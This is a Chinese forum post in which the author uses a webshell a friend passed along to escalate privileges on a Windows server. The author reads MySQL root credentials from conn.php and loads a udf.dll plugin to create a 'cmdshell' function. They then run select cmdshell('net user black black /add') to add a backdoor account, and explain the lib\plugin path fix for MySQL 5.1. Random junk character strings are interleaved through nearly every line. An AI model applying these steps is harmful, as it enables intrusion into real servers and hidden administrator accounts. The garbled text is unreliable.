朋友丢了一个webshell让我提权...我无聊就进去逛了下!全部是asp的...而且权限小的可怜几乎什么也做不了!7 e, V' r+ q9 [; C/ ^3 b
1 T6 ~. {' U: _于是无聊在D盘乱翻!终于看见一个php的网站!寻找conn.php竟然意外发现是root权限!; F% _) r6 E9 S$ x2 c/ |1 J$ w5 K
8 X! i2 s! v: P+ {哈哈.小兴奋一下.立即上传udf.dll.php提权!因为是Mysql5.1版本且服务器是windows2003的
+ s! d! K2 ]0 y5 V6 e3 E. R, X3 y
4 S0 J# H( J7 h7 a2 }# g因此导入到以下路径:C:\\Windows\\udf.dll [显示导出成功]!
+ Q: l% I# S2 P8 `6 W1 _
7 S8 @1 T+ z, P继续执行命令:create function cmdshell returns string soname 'udf.dll'7 }$ I0 Y7 W1 ~) Y
* u1 V; p* x* S
杯具出现了:Can't open shared library 'udf.dll'
0 k& S5 g! E$ K" B L/ W0 i3 v4 u
" u( a0 @5 P5 l于是乎又满天的找解决办法.现与大家一起分享:* p2 n9 P+ y+ e% @% a7 ^
$ V# F# R4 f/ g0 [9 N
从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
: N7 ]" |0 M# B; q) z$ }* c% @0 Q) }7 s' H4 O, |; M5 Z6 K& y
OK,问题解决了!准备添加用户:select cmdshell('net user black black /add');6 Y, F, e* o0 t7 q) {
" V; E. D2 G9 E" H; ?. |' \* D又一次杯具的失败了!摸索原因才知道服务器管理员禁止.Net.exe和Net1.exe了!' r3 y& T9 g2 s( N: p5 x5 ~
% {; |9 f) F3 P$ a% k7 ^2 c但是意外的发现可以执行其他命令!
! \/ p/ R+ J& l' C P' c" u& G8 X% Z% E8 q
于是乎写了一个bat文件,通过注册表来完成下面的工作![遇见问题一定要全方位多思考.通过其他思路寻找突破]
$ t+ {7 } i! Y E; T+ @+ Z3 a |